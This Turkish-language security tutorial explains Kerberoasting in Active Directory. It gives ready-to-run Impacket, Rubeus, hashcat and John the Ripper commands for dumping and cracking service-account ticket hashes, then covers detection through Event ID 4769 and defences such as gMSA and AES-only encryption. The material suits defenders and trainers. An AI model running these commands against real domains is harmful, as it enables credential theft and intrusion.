Kerberoasting, Active Directory ortamlarında en yaygın kullanılan saldırı tekniklerinden biridir. Bu saldırı, herhangi bir domain kullanıcısının, Service Principal Name (SPN) yapılandırılmış hesapların Kerberos TGS ticket'larını talep edebilmesi ve bu ticket'ları offline olarak kırabilmesi prensibine dayanır.
Bu yazıdaki bilgiler yalnızca eğitim amaçlıdır. Yetkisiz sistemlere saldırı düzenlemek yasalara aykırıdır. Tüm testleri yalnızca yetkiniz olan ortamlarda gerçekleştirin.
Kerberos Protokolü Nasıl Çalışır?
Kerberoasting saldırısını anlamak için öncelikle Kerberos kimlik doğrulama protokolünün temel çalışma mantığını kavramak gerekir. Kerberos, Windows Active Directory ortamlarında varsayılan kimlik doğrulama protokolüdür ve üç ana bileşenden oluşur:
- Key Distribution Center (KDC): Domain Controller üzerinde çalışan ve ticket dağıtımını yöneten merkezi bileşen
- Authentication Service (AS): Kullanıcının kimliğini doğrulayan ve TGT (Ticket Granting Ticket) veren servis
- Ticket Granting Service (TGS): TGT karşılığında belirli servislere erişim için TGS ticket'ları veren servis
Kimlik doğrulama süreci şu adımlarla gerçekleşir: Kullanıcı ilk olarak KDC'ye bir
AS-REQ mesajı gönderir. KDC, kullanıcının kimliğini doğruladıktan sonra
bir TGT döner. Kullanıcı daha sonra bu TGT'yi kullanarak belirli bir servise
erişim talep eder (TGS-REQ). KDC, ilgili servis hesabının NTLM hash'i ile
şifrelenmiş bir TGS ticket döner.
Kerberoasting Saldırısı
Kerberoasting'in çalışma prensibi oldukça basittir: herhangi bir domain kullanıcısı, SPN'e sahip herhangi bir hesap için TGS ticket talep edebilir. Bu ticket, ilgili servis hesabının NTLM hash'i ile şifrelenmiştir. Saldırgan bu ticket'ı offline olarak brute-force saldırısı ile kırmaya çalışabilir.
Bu saldırı herhangi bir özel yetki gerektirmez. Normal bir domain kullanıcı hesabı ile gerçekleştirilebilir. Ayrıca ağ trafiğinde anomali oluşturmaz çünkü meşru bir Kerberos isteği gibi görünür.
Impacket ile Kerberoasting
Impacket framework'ünün GetUserSPNs.py scripti, Kerberoasting saldırısı için
en yaygın kullanılan araçlardan biridir:
# SPN'li hesapları listeleme
python3 GetUserSPNs.py domain.local/user:password -dc-ip 10.10.10.1
# TGS ticket'larını dump etme (hashcat formatında)
python3 GetUserSPNs.py domain.local/user:password \
-dc-ip 10.10.10.1 \
-request \
-outputfile kerberoast_hashes.txt
# Belirli bir kullanıcıyı hedefleme
python3 GetUserSPNs.py domain.local/user:password \
-dc-ip 10.10.10.1 \
-request-user svc_mssql
Rubeus ile Kerberoasting (Windows)
Windows ortamında Rubeus aracı kullanılarak Kerberoasting saldırısı gerçekleştirilebilir:
# Tüm Kerberoastable hesapları hedefleme
.\Rubeus.exe kerberoast /outfile:hashes.txt
# RC4 şifreli ticket'ları hedefleme (daha kolay kırılır)
.\Rubeus.exe kerberoast /tgtdeleg /outfile:hashes.txt
# Belirli bir kullanıcıyı hedefleme
.\Rubeus.exe kerberoast /user:svc_mssql /outfile:hashes.txt
# AES şifrelemesi kullanan hesapları hedefleme
.\Rubeus.exe kerberoast /enctype:aes256 /outfile:hashes.txt
Hash Kırma
Elde edilen TGS ticket hash'leri, Hashcat veya John the Ripper kullanılarak offline olarak kırılabilir:
# Hashcat ile TGS-REP hash kırma (RC4)
hashcat -m 13100 kerberoast_hashes.txt wordlist.txt \
-r rules/best64.rule
# Hashcat ile TGS-REP hash kırma (AES-256)
hashcat -m 19700 kerberoast_hashes.txt wordlist.txt
# John the Ripper ile kırma
john kerberoast_hashes.txt \
--wordlist=wordlist.txt \
--format=krb5tgs
Tespit ve İzleme
Kerberoasting saldırılarını tespit etmek için aşağıdaki yöntemler kullanılabilir:
- Event ID 4769 İzleme: Kerberos Service Ticket operasyonlarını izleyin. Özellikle RC4 (0x17) şifreleme tipiyle yapılan taleplere dikkat edin
- Honey Account Kullanımı: Sahte SPN'li hesaplar oluşturarak saldırganların bu hesaplara ticket talebi göndermesini tespit edin
- Anomali Tespiti: Kısa sürede çok sayıda TGS talebi yapan kullanıcıları tespit edin
- Managed Service Account (gMSA): Servis hesaplarını gMSA'ya dönüştürerek parola karmaşıklığını otomatik yönetin
Windows Event Log Sorgusu
# PowerShell ile Kerberoasting tespiti
Get-WinEvent -FilterHashtable @{
LogName = 'Security'
Id = 4769
} | Where-Object {
$_.Properties[5].Value -eq '0x17' -and # RC4 encryption
$_.Properties[4].Value -notlike '*$' # Machine hesaplarını hariç tut
} | Select-Object TimeCreated,
@{N='TargetUser'; E={$_.Properties[0].Value}},
@{N='ServiceName'; E={$_.Properties[2].Value}},
@{N='ClientAddress'; E={$_.Properties[6].Value}}
Savunma Stratejileri
Kerberoasting saldırılarına karşı etkili savunma stratejileri:
- Güçlü Parola Politikası: SPN'li servis hesapları için minimum 25+ karakter uzunluğunda, rastgele oluşturulmuş parolalar kullanın
- Group Managed Service Accounts (gMSA): Mümkün olan her yerde gMSA kullanın. gMSA parolaları 240 bayt uzunluğundadır ve otomatik olarak döndürülür
- AES Şifreleme: RC4 desteğini devre dışı bırakın ve yalnızca AES-256 şifrelemeye izin verin
- SPN Temizliği: Gereksiz SPN'leri kaldırın. Kullanılmayan servis hesaplarını devre dışı bırakın
- Least Privilege: Servis hesaplarına yalnızca gerekli minimum yetkileri verin. Domain Admin yetkili servis hesaplarından kaçının
# gMSA oluşturma örneği
New-ADServiceAccount -Name "svc_webapp" `
-DNSHostName "svc-webapp.domain.local" `
-PrincipalsAllowedToRetrieveManagedPassword "WebServers" `
-KerberosEncryptionType AES256
# Gereksiz SPN'leri listeleme
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} `
-Properties ServicePrincipalName, PasswordLastSet, Enabled |
Select-Object Name, Enabled, PasswordLastSet,
@{N='SPN';E={$_.ServicePrincipalName -join '; '}}
Referanslar
- MITRE ATT&CK — T1558.003: Kerberoasting
- Microsoft Learn — Kerberos Authentication Overview
- Fortra — Impacket / GetUserSPNs.py
- GhostPack — Rubeus: Kerberos Abuse Toolkit
- Hashcat Wiki — Örnek hash formatları (mode 13100 / 19700)
- SpecterOps — BloodHound: AD attack-path analizi